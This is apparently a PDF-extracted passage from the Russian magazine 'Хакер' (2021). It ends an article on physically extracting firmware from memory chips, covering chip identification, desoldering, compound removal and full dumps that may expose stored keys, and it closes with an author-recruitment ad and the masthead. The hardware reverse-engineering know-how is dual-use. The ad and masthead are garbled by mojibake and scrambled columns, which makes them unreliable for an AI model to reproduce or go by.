Хотя нет — даже в дешевых роутер­ ах она все чаще при­меняе­ тся благ­ ода­ря прог­рамм­ ным механизм­ ам защиты целос­тност­ и. Сводная таблица NOR-память была  бы идеа­ ль­на, если  бы не  ее цена, так что рыночек порешал  — и  теперь у  нас всех использ­ уетс­ я NAND почт­ и везд­ е. Даже во  встра­иваемой техн­ ике уже поч­ти научи­лись с  ней безопасн­ о работать  — конт­ роль­ные сумм­ ы, ECC-коды и резерв­ ные бло­ки. Кра­сота! →Продолжение статьи

GEEK ← НАЧАЛО СТАТЬИ ПРОЧЕСТЬ ПАМЯТЬ КАК КРАДУТ ПРОШИВКУ УСТРОЙСТВ И КАКИЕ БЫВАЮТ ЗАЩИТЫ КОРПУСА МИКРОСХЕМ Как видишь, с корп­ усами у памяти все плох­ о: помимо показан­ных на кар­тинке вари­антов, можн­ о запр­ осто вспом­нить еще с десяток, и не факт, что прои­ зво‐­ дитель не  решил исполь­зовать нечт­ о экс­клюз­ ив­ное, у  чего может вооб­ще не быть назв­ ания. Маркировка До­пус­тим, тебе повез­ло найт­ и чип с памятью. Перв­ ым делом нам нуж­но про‐­ читать его мар­киров­ку. Ес­ли марк­ иров­ка есть — немал шанс встре­тить ее имен­но в таком форм­ ате, как  показан на  кар­тинке выше. Перв­ ые две букв­ ы  — код вен­дора, потом тип памяти в чипе, потом внут­ренний номер серии — и даль­ше уже чет­кой логики не прос­леживае­ тся. Так как  един­ ого стан­дарта нет и  не предв­ идитс­ я, прои­ звод­ ител­ и воль­ны писать на свои­ х чипах, что счит­ ают нуж­ным. Это порой при­водит к колл­ изи­ям, вро­де того, что пред­ставл­ ено на той же кар­тинке: два чипа раз­ных прои­ зво‐­ дите­лей, оба  29-й серии, но  один NOR, а  дру­гой  — NAND. Короче, не  уга‐­ даешь, и  такие чипы прих­ одитс­ я проб­ ивать в  поиск­ овиках, что­бы выясн­ ить хоть что‑то. Типовой дизайн Уст­ рой­ства одно­го сег­мента про­екти­руют­ся очень похожим­ и  — это  впол­не оче­вид­но. Нап­ример, все бытовые роуте­ры изнутри выг­лядят поч­ти оди­нако‐­ во. Та же ситуа­ ция на рын­ке устройс­ тв SCADA, у которых свои каноны, но они просл­ ежива­ются везд­ е без осо­бых изме­нений. Я расс­ каж­ у о пяти категор­ иях устройс­ тв, с которы­ми тебе, возм­ ожно, при‐­ дет­ся иметь дело: • ПК; • се­тевое обор­ удо­вание бытовог­ о сегм­ ента (роуте­ры, свитч­ и, точк­ и дос‐­ тупа); • обо­рудо­вание для ответс­твенн­ ых при­мене­ний (на заводах); • IoT — интернет вещей; • смарт­ фон­ ы. Са­мо собой, мир крут­ ит­ся не тольк­ о вокр­ уг смарт­ фон­ ов да компью­ те­ров, но с ними у  тебя шанс встре­титьс­ я куда боль­ше, чем с  каким‑нибудь кон­трол‐­ лером для  управле­ния ракет­ными двиг­ ате­лями. Поэто­му давай расс­ мот­рим типовое устрой­ство тольк­ о этих пяти катего­рий девайс­ ов. ПК Уст­ рой­ство обычн­ ых ПК под­разумев­ ает модульн­ ость, то есть почт­ и все детали мож­но лег­ко вынуть. Из‑за этог­ о на  матп­ лат­ е из  элем­ ент­ ов памяти есть тольк­ о флешк­ а с BIOS/UEFI. При этом BIOS обыч­но сидит на микр­ осхе‐­ мах 24-й серии — I2C EEPROM, а в новых моделях сто­ит 25-я серия SPI NOR flash с UEFI. Есл­ и же уста­нов­лен взросл­ ый инте­лов­ский про­цес­сор с  под­дер­жкой ME  — на  плат­ е можн­ о найт­ и вто­рую такую же флеш­ку, но  с прош­ ивк­ ой для  ME. Это  делае­ тся в  целях безопасн­ ости: находя­щуюся на  физическ­ и отдель­ной микр­ осхе­ме прош­ ивк­ у заразить или под­менить сложн­ ее. Intel ME Intel Management Engine  — это  особ­ ая сис­тема для  UEFI-сов­местим­ ых ПК на  базе проц­ есс­ оров Intel. Она име­ет свою выделенн­ ую микр­ осхе­му памяти и  собс­твенн­ ый проц­ ес­сор, а  так­же собст­ венн­ ые каналы дос­тупа к  сетевым адапт­ ерам и основной опер­ атив­ной памяти. Может без огра­ниче­ний взаи­ мо‐­ дейс­ тво­вать поч­ти с  чем угодн­ о в  сос­таве компь­ютер­ а, что очень силь­но повышае­ т треб­ ова­ния к ее защите. Бытовые роутеры С роутер­ ами пот­ребительс­ ког­ о клас­са все довольн­ о прост­ о: тут став­ ят память SPI NOR 25-й серии, если тре­бует­ся не боль­ше 8 Мбайт, или NAND- память объ­емом поболь­ше. Изредка мож­но най­ти eMMC, но мне такое пока не попада­лось. Устройства для ответственного применения Тут все немн­ ого сложн­ ее. Стан­дарты треб­ уют стран­ных вещей, поэто­му с  больш­ ой веро­ятностью устройс­ тва этой категор­ ии будут сос­тоять из  нес‐­ коль­ких плат, соеди­ненн­ ых переходн­ ыми интерфейс­ ами. Будет мног­ о раз­ных запомин­ ающих устройс­ тв, что­бы прос­то прой­ти сер­тификац­ ию. Ло­ги обычн­ о пишут­ся в  EEPROM или  FRAM 24-й серии, заг­рузчик лежит на  NOR 25-й серии, а  все встрое­ нное ПО  клад­ ут на  NOR 26-й, 29-й серии. NAND использ­ уют редк­ о, а  если использ­ уют  — сраз­ у боль­шими мас­сивами с резерв­ ирова­нием. IoT Сей­час понятие IoT слиш­ком рас­тяжимое: по сути, туда можн­ о записать вооб‐­ ще все умное домаш­нее и даже не очень домашн­ ее. Из‑за это­го память там может быть любая: хоть EEPROM, хоть eMMC — это ког­да NAND с хост‑кон‐­ тролл­ ером упак­ ован­ ы в один чип. Смартфоны В смарт­ фон­ ах обычн­ о все самое передов­ ое: тут тебе и eMMC, и eUFS, и даже NVMe SSD, как  у Apple. При  этом, как  ни крут­ и, все эти чипы выг­лядят плюс‑минус оди­наков­ о, так что ты их ни с чем не спут­ аешь. РАСШИФРОВКА ИМЕНИ Теп­ ерь, ког­да наш­ли нужн­ ый чип и  проч­ ита­ли марк­ ировк­ у, ее нуж­но декоди‐­ ровать. Кста­ти, марк­ ировк­ а далеко не всег­да читае­ тся целиком: часть может быть слу­чай­но или  намерен­но скры­та, а  то и  вовс­ е подд­ елана, как  любят устра­ивать китай­цы со свои­ ми деталя­ми на Али. Особ­ о крупн­ ые про­извод­ ител­ и могут пре­дос­тавлять на  свои­ х сай­тах декоде­ры име­ни микр­ осхем­ ы, но поч­ти никт­ о так не дела­ет. Пох­валь­ный прим­ ер — про­изво­дитель Micron, который дал на сайт­ е внят‐­ ную инст­ рук­цию и фор­му для получе­ния даташит­ а на свои микр­ осхе­мы. Есл­ и же декодер­ а нет, при­дет­ся вык­ручивать­ся. Можн­ о поп­робовать разоб‐­ ратьс­ я по  схе­ме на  скринш­ оте ниже, но, естес­твенн­ о, безо  всяк­ их гарант­ ий успе­ха. Возм­ ожно, даже лучш­ е сраз­ у идти к  япон­цам  — они очень любят неадекв­ атно запутанн­ ые наз­вания без извест­ ной логики. Она, конеч­но, есть, но пока что никт­ о ее не смог понять. ПОИСК ДОКУМЕНТАЦИИ Гугл­ ить, думаю, ты и  сам умее­ шь, но  для поиск­ а докумен­тации ко  вся­ким экзо­тичес­ким чипам это может быть бесп­ олез­но. Во‑пер­вых, более эффекти‐­ вен поиск по  пер­вым N сим­волам наз­вания мик­росхе­мы. Во‑втор­ ых, част­ о прощ­ е най­ти по коду на Aliexpress или друг­ их крупн­ ых торг­ овых площ­ ад­ках. Ес­ли уж любишь Google, попр­ обуй поиск по карт­ инкам — там порой можн­ о най­ти то, что текс­ том не ищет­ся. Еще огромные базы чипов есть в ПО для прог­рамма­торов — я использ­ ую ПО  комп­ ании Elnec. Зачаст­ ую там даже есть даташит­ ы, но  слиш­ком на  это наде­ять­ся не стои­ т. И еще одно хорошее мест­ о для поиск­ ов — GitHub. С боль­шим шан­сом там найд­ ет­ся что‑нибудь по зап­росу в духе «X microcircuit read poc». Даль­ше мож‐­ но выдр­ ать ссыл­ку на  даташит или  что‑то еще  полезн­ ое. Мне попада­лись даже скрыт­ ые серв­ исные команд­ ы для  бло­кировк­ и/раз­блок­ ировк­ и чипа, что, конеч­но, очень при­ятно при изу­чении. ОБОРУДОВАНИЕ Тут мож­но тольк­ о сказ­ ать, чего делать не стои­ т: не надо брать дешевые инс‐­ трум­ ент­ ы и  расх­ одни­ки. Из  моего любимог­ о  — при­пой, который плав­ ит­ся при  совер­шенно неожи­данн­ ых тем­ператур­ ах, пров­ одящ­ ий флюс (!) и  одно‐­ разо­вые пинц­ еты. Под­робнее хочет­ся рас­сказ­ ать о дешевом флюс­ е. Как прим­ ер — ТТ, такж­ е извест­ ный как розовый гель. Он хорош, но он не отмыв­ ает­ся и про­водит ток на  высоких част­ отах. Это  не пробл­ ема в  советс­ ком радио или  даже сов‐­ ремен­ном блок­ е питания, но  вот на  плат­ ах компь­юте­ров с  гигагер­цами час‐­ тоты он катего­ричес­ки прот­ ивоп­ оказ­ ан. Снят­ ие комп­ аун­да  — это  вопр­ ос темп­ ерату­ры. Я обычн­ о грею феном на ~250 гра­дусов, но есть одна проб­лемка. И сос­тоит она в том, что под ком‐­ паунд­ ом комп­ онен­ты могут быть при­паяны низ­котемп­ ератур­ным прип­ оем, вро­де сплав­ ов Розе или  Вуда. Да, комп­ аунд ты сни­мешь, но  вмес­те с  ним сой­дет полови­на плат­ ы. А  хитр­ ая флеш­ка может не  завес­тись без  кучи рас‐­ сыпухи, которую обратно уже не соб­рать. WARNING При снят­ ии ком­паунд­ а не  забывай о  вытяж­ке  — твое здо­ровье важ­нее любой мик­росхе­мы! Что делать, если плат­ а покр­ ыта лаком? Мож­но попр­ обовать свес­ти его аце‐­ тоном, но он может повр­ едить текс­ тол­ ит. Делай так, тольк­ о если тебе терять нечего. Для осталь­ных слу­чаев — прос­то сни­мать скальп­ елем в нужн­ ых мес‐­ тах, а остальн­ ое не тро­гать. При пай­ке ори­ентир­ уйс­ я на  граф­ ик терм­ опро­филя в  кон­це даташит­ а на  мик­росхем­ у. Он там раз­меща­ется не  прос­то так, и  на моей памяти дей‐­ стви­тельн­ о были случ­ аи, ког­да микр­ осхе­ма уми­рала от перегр­ ева при извле‐­ чении. Как извест­ но, люди делят­ся на тех, кто не смотр­ ит гра­фики в докумен‐­ тации, и тех, кто уже смот­рит. К заводс­ ко­му при­пою час­то имее­ т смысл при­мешать менее тугоп­лавкий сплав Розе или ПОС63, ну или сплав Вуда, если все совс­ ем плох­ о. Это зна‐­ чительн­ о понизит тем­перату­ру пайк­ и и увел­ ичит шанс­ ы не сжечь микр­ уху. ПОДГОТОВКА К ЧТЕНИЮ Пос­ле выпайк­ и ни в коем слу­чае нель­зя устраи­ вать микр­ осхе­ме тем­ператур‐­ ные испы­тания: пусть полежит и остын­ ет сама, а не в спир­те — так шан­сы сох‐­ ранить работос­пособн­ ость куда выше. Даль­ше нуж­но про­верить, все ли лап­ки чипа находятс­ я в одной плоск­ ости и не образ­ овал­ ись ли от прип­ оя перемычк­ и межд­ у нож­ками. Их нужн­ о убрать, что­бы не  спа­лить прогр­ амма­тор, не  име‐­ ющий защиты от такого, и сам чип тоже. С BGA нуж­но убрать стар­ ый при­пой и нанест­ и новые шарики. Когд­ а чип очи‐­ щен и  подг­ отов­лен к  чтен­ ию, не  вздум­ ай пихать его в  прогр­ амма­тор с  при‐­ жимом пря­мо в чип — велик шанс прос­то разд­ авить его! ЧИТАЕМ! Пом­ни, что память NOR flash идет с  завода без  битых ячее­ к, а  у NAND есть допус­тимый про­цент брак­ а, так что, если в NAND вид­ны битые ячейк­ и, не спе‐­ ши расст­ ра­ивать­ся. Прог­рамма­тор перед чтен­ ием нужн­ о пра­виль­но наст­ ро­ить. В час­тност­ и, надо заст­ авить его читать все, включ­ ая сис­темные стра­ницы в  начале и  кон­це памяти — они бываю­ т крайн­ е важ­ны! Раз­работч­ ики чипа наст­ оятель­но рекомен­дуют раз­работ­чикам устрой­ства исполь­зовать свои чипы в соотв­ етс­твии с некотор­ ыми пра­вила­ми. Но втор­ ые воль­ны не подч­ инятьс­ я перв­ ым, так что сист­ емные стран­ ицы порой ока­зыва‐­ ются хра­нилищ­ ем клю­чей шиф­рования или каких‑то дру­гих дан­ных. В общем, читай все — лиш­ним точн­ о не будет. Вот теперь у  тебя есть образ, который можн­ о груз­ ить в  IDA и  ковырять­ся даль­ше, но это уже тема для отдельн­ ой статьи.

СТАНЬ АВ «ХАКЕ «Хакеру» нужны новые авторы из них! Если тебе интересно желание исследовать эти темы возможность вступить в ряды за это все, что им причитается. • Àâòîðû ïîëó÷àþò äåíåæíîå от сложности и уникальности темы не от объема текста). • Íàøè àâòîðû ÷èòàþò «Õàêåð» статья приносит месяц подписки и з ку. Уже после третьего раза подписк Кроме того, íàëè÷èå ïóáëèêàöèé — ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû англоязычной версии, так что ó òåáÿ ðóáåæîì. И конечно, ìû âñåãäà óêàçûâàå àâòîðà. На сайте ты можешь сам запо написать что-то о себе, добавить ссыл наоборот, не делать этого в целях консп ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎ ÑÒÀÒÜÞ? Главное в нашем деле — знания по те тему — значит, и написать сможешь. неваться — поддержим, накосячишь — столько редакторов! Они не только пр и форматом и «причесывают» автор ходимость. И конечно, перед публикаци ки и вносим новые, если нужно. ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ? Темы для статей — дело непростое, показаться. Стоит начать, и ты навер за другой! Первым делом задай себе нескольк • «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî Частый случай: люди делают что занятие вполне обыденным. Если т про реверс малвари, сборку ядра соров или хранение данных в ДНК, благодарных читателей. • «Áûëè ëè ó ìåíÿ â ïîñëåäíåå â ты ресерчишь, багхантишь, решаеш разрабатываешь что-то необычно какую-то удобную штуковину, обяза думаем, как лучше подать твои нара • «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ Попробуй вспомнить: если ты букв о чем-то очень важном или захватыв с немалой вероятностью это мож Или как минимум натолкнет тебя на т • «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåð мы о чем-то не писали, это могло б никому не пришла в голову эта т взял бы ее на себя. Кстати, даже есл кинуть нам идею все равно можно. Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé? 1. Придумываешь актуальную тему или 2. Описываешь эту тему так, чтобы бы ее кому-то читать. Обычно достато предложений (pro tip: их потом можн 3. Выбираешь редактора и отправляеш он разберется). Заодно неплохо б слов о себе. 4. С редактором согласуете детали и с ет тебе правила оформления и отвеч 5. Пишешь статью в срок и отправляе лемы, сомнения или просто задержк 6. Редактор читает статью, принима доработать и руководством к действ 7. Перед публикацией получаешь ве с редактором (или просто даешь доб 8. Дожидаешься выхода статьи и посту TL;DR Если хочешь публиковаться в «Хакере и предложи редакции.

ВТОРОМ ЕРА»! ы, и ты можешь стать одним то, о чем мы пишем, и есть ы вместе с нами, то не упусти ы наших авторов и получать . âîçíàãðàæäåíèå. Размер зависит ы и объема проделанной работы (но áåñïëàòíî: каждая опубликованная значительно увеличивает личную скид- ка станет бесплатной навсегда. — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü û â òåìå. А еще мы планируем запуск áóäåò øàíñ áûòü óçíàííûì è çà åì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì олнить характеристику, поставить фото, лку на сайт и профили в соцсетях. Или, пирации. ÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ еме, а не корочки журналиста. Знаешь Не умеешь — поможем, будешь сом- — отредактируем. Не зря у нас работает равят буквы, но и помогают с темами рский текст, если в этом есть необ- ией мы согласуем с автором все прав- , но и не такое сложное, как может рняка будешь придумывать темы одну ко простых вопросов: î ìîæåò çàèíòåðåñîâàòü äðóãèõ?» о-то потрясающее, но считают свое твоя мама и девушка не хотят слушать Linux, проектирование микропроцес- это не значит, что у тебя не найдется âðåìÿ èíòåðåñíûå ïðîåêòû?» Если шь crackme или задачки на CTF, если ты ое или даже просто настроил себе ательно расскажи нам! Мы вместе при- аботки. þ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?» вально недавно рассказывал кому-то вающем (и связанным с ИБ или ИТ), то жет быть неплохой темой для статьи. тему. ðå óïóñòèëè ÷òî‑òî âàæíîå?» Если быть не умышленно. Возможно, просто тема или не было человека, который ли писать сам ты не собираешься, под- и несколько. ыло понятно, что будет в статье и зачем очно рабочего заголовка и нескольких но пустить на введение). шь ему свои темы (можно главреду — бывает представиться и написать пару сроки сдачи черновика. Также он выда- чает на все интересующие вопросы. ешь ее. Если возникают какие-то проб- ки, ты знаешь, к кому обращаться. ает ее или возвращает с просьбой вию. ерсию с правками и обсуждаешь их бро). упления вознаграждения. е», придумай тему для первой статьи

№09 (270) Илья Ру Ан­дрей Письм­ енн­ ый Зам. глав­ног Главн­ ый редакт­ ор по тех­ничес­ки [email protected] rusanen Ев­гения Ш Литера­тур­ны Анд­ рей Письм­ ен­ный РЕДАКТОР [email protected] Ев­гений Татья­ на Чуп­рова [email protected] zobnin@ Ма Бруцкий-Сте brutsky@ MEGAN Ма­рия Не nefedova АР yamb yambuto@ РЕКЛ Ан­на Як Директ­ ор по с yakovleva. РАСПРОСТРАНЕН Вопр­ осы по под­писке: [email protected] Ад­рес редак­ции: 125080, город Мос­ква, Волоко­лам­ское шос­се, дом 1, Югай Алекс­ андр Оле­гович, 400046, Волг­ оград­ская область, г. Волг­ огра город Мос­ква, Волокол­ амс­ кое шос­се, дом 1, строе­ ние 1, этаж 8, помещ по надз­ ору в сфер­ е свя­зи, информац­ ион­ных тех­нологий и масс­ овых ком 08.​2016  года. Мнен­ ие редакц­ ии не  обя­затель­но сов­пада­ет с  мнен­ ием к  раз­мышлен­ ию. Лица, использ­ ующие дан­ную информац­ ию в  про­тиво не несет ответст­ вен­ности за содерж­ ание рекл­ амных объ­явле­ний в номе редакц­ ион­ных материа­ лов журн­ ала обращ­ ай­тесь по адрес­ у: [email protected]

усанен Алекс­ ей Глазк­ ов Выпус­кающий редак­тор го редак­тора им воп­росам [email protected] [email protected] Шарипо­ва ый редакт­ ор РЫ РУБРИК й Зоб­нин Ва­лент­ ин Хол­могоров @glc.ru [email protected] арк Иван «aLLy» Андрее­ в емпковский [email protected] @glc.ru NEWS ефёдов­ а [email protected] РТ buto @gmail.com ЛАМА ковл­ ева спец­прое­ ктам [email protected] НИЕ И ПОДПИСКА В​ опр­ осы по матери­алам: [email protected]​ стро­ение 1, этаж 8, помеще­ние IX, ком­ната 54, офис 7. Изда­тель: ИП ад, ул. Дружб­ ы народов, д. 54. Учре­дитель: ООО «Медиа Кар»​​125080, щен­ ие IX, комн­ ата 54, офис 7. Зарегис­три­рован­ о в Федераль­ной служб­ е мм­ уника­ций (Роск­ омнадз­ оре), свид­ етель­ство Э​ л № Ф​ С77-6​ 7001 от ​30.​ м автор­ ов. Все материа­ лы в  номере пре­дос­тавляю­ тся как  информа­ция о­закон­ных целях, могут быть прив­лечены к  ответст­ венн­ ости. Редак­ция ере. По воп­росам лицен­зирован­ ия и получен­ ия прав на использ­ ование ru. © Жур­нал «Хакер», РФ, 2021


Like this book? You can publish your book online for free in a few minutes!
Create your own flipbook